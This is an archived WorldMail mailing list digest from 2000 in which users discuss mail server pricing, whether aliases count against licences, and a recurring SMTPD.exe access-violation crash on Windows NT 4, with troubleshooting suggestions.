> >license every single mailbox) and is supported. Check out VOPmail
> (www.vircom.com),
> >a highly reputated software
>
> Unfortunately, VOPmail *is* much more expensive than Worldmail in the =
ways
> that involve lots of dollars and cents coming out of my pocket.
>
> I wish *somebody* would compete on a home/small-business price with
> Worldmail. All these companies -- Vircom included -- price their
> mail servers
> for the "corporate market". I get tired of these
> multiple-hundreds-of-dollars
> prices for a small license for a basic mail server. As software goes, =
mail
> servers just ain't that complex!! And I would even be very happy
> to live with
> one that doesn't even have a GUI (as long as it actually works.)
> That reduces
> the code base to something very small indeed. (But, no, I don't
> want to start
> porting Linux or BSD code over. I'd just like to pay someone else
> to do that
> for me.)
>
> Garry
Date: Tue, 28 Nov 2000 08:40:31 -0500
From: Greg Bullough <gwb at outofchaos dot com>
Subject: Re: Technical Support
At 08:49 PM 11/27/00 -0800, Garry Wiegand wrote:
>Unfortunately, VOPmail *is* much more expensive than Worldmail in the ways
>that involve lots of dollars and cents coming out of my pocket.
>
>I wish *somebody* would compete on a home/small-business price with
>Worldmail. All these companies -- Vircom included -- price their mail servers
>for the "corporate market".
You've hit on precisely why we, rather than going Windows 2000 for
any non-workgroup-related stuff, are going to Linux as our strategic
platform for TCP/IP services and even for database.
NT is a workgroup-grade OS with pricing like an Enterprise OS.
It is nonetheless still supported like it was a desktop OS.
Now, I suppose the reason you see high prices for mail servers are
because the market there is to big, stodgy, corporations who insist
on some sort of 'standard' and that 'standard' is NT. They're willing
to spend thousands more (which is nothing to them) to avoid having
another OS on the floor. It probably makes sense for them. Mind you
they'd buy something cheaper if it were there, and that's why it isn't.
However, for smaller and more nimble organizations Linux, or FreeBSD,
or if you can't stomach that, even a small Solaris or HP-UX box (perhaps
used) makes sense for ALL of your TCP/IP services. It's just easier to
deal with, and more standard.
NT started out as a cost-effective alternative, but has, with the advent
of Windows 2000 Server and Enterprise, outgrown much of its
usefulness in the lower ranges.
These days, the kind of energy that went into good ideas like WorldMail
goes into good ideas that run on Linux.
Greg
Date: Wed, 29 Nov 2000 17:00:55 -0500
From: Leonard Van Gelder <ghent at endorproductions dot com>
Subject: Licenses
Quick question , do aliases, send-to's, and distribution lists count as
licenses, like if we have 20 licenses do they take part of them or is it
just mailboxes?
--
Leonard 'Ghent' Van Gelder
President & CEO
Endor Productions, Inc.
http://www.endorproductions.com/
Voice/Pager/Cell : 1-(616)-813-3754
E-Mail Text Page: 6168133754 at page.nextel dot com
[ICQ UIN #8329333]
Date: Wed, 29 Nov 2000 22:47:53 -0500
From: Greg Bullough <gwb at outofchaos dot com>
Subject: Re: Licenses
No, only local store users count as licenses.
Greg
At 05:00 PM 11/29/00 -0500, Leonard Van Gelder wrote:
>Quick question , do aliases, send-to's, and distribution lists count as
>licenses, like if we have 20 licenses do they take part of them or is it
>just mailboxes?
>--
>Leonard 'Ghent' Van Gelder
>President & CEO
>Endor Productions, Inc.
>http://www.endorproductions.com/
>Voice/Pager/Cell : 1-(616)-813-3754
>E-Mail Text Page: 6168133754 at page.nextel dot com
>[ICQ UIN #8329333]
Date: Fri, 01 Dec 2000 15:34:47 -0600
From: Mark Fortune <mfortune at ce8.uscourts dot gov>
Subject: has anybody seen the following?
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Content-Type: text/plain; charset="us-ascii"; format=flowed
keeps happening on a regular basis
worldmail 2.0
nt 4 sp6
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Content-Type: application/octet-stream; name="error.bmp";
x-mac-type="424D5070"; x-mac-creator="4A565752"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="error.bmp"
--=====================_9343555==_--
Date: Mon, 04 Dec 2000 07:27:28 -0600
From: Mark Fortune <mfortune at ce8.uscourts dot gov>
Subject: has anybody seen the following?
--=====================_360718==_
Content-Type: text/plain; charset="us-ascii"; format=flowed
round 2
keeps happening on a regular basis
worldmail 2.0
nt 4 sp6
same address every time
--=====================_360718==_
Content-Type: application/octet-stream; name="error.bmp";
x-mac-type="424D5070"; x-mac-creator="4A565752"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="error.bmp"
--=====================_360718==_--
Date: Mon, 04 Dec 2000 08:30:06 -0600
From: Mark Fortune <mfortune at ce8.uscourts dot gov>
Ok here it is in plain text.
Worldmail Server 2.0
nt 4.0 sp 6
the following dr watson error happens on a regular basis.
Dr.Watson for Windows NT
An application error has occured and an application error log is being
generated.
SMTPD.exe
Exception: access violation(0xc0000005), Address:0x0042e0d7
The smtp service shuts down and we have to reboot. You can restart the
service but it will happen again sooner than if you reboot. It is always
the same address. Never seems to happen at night or weekends. Worldmail is
the only thing running on the box. Any help is appreciated.
From: "Andrew McClymont" <andrewmcclymont at d-link dot net>
Subject: RE:
Date: Mon, 4 Dec 2000 11:59:30 -0300
You should check the list of loaded DLLs in the DrWatson Detail, usually the
DLL at the top is the faulty one.
Sorry, but when does this error happens? just when worldmail loads? what
services and devices are active?
How much memory, cpu power does this server have? What about disks? SCSI,
IDE?
Virus? did you check that one? It's just to be on the safe side
We no longer use Worldmail (too old, too limited), we jumped to NTmail, but
I might be able to help you.
See ya',
-Andrew McClymont
-----Original Message-----
From: Mark Fortune [mailto:mfortune at ce8.uscourts dot gov]
Sent: Monday, December 04, 2000 11:30 AM
To: Subscribers of WorldMail
Subject:
Ok here it is in plain text.
Worldmail Server 2.0
nt 4.0 sp 6
the following dr watson error happens on a regular basis.
Dr.Watson for Windows NT
An application error has occured and an application error log is being
generated.
SMTPD.exe
Exception: access violation(0xc0000005), Address:0x0042e0d7
The smtp service shuts down and we have to reboot. You can restart the
service but it will happen again sooner than if you reboot. It is always
the same address. Never seems to happen at night or weekends. Worldmail is
the only thing running on the box. Any help is appreciated.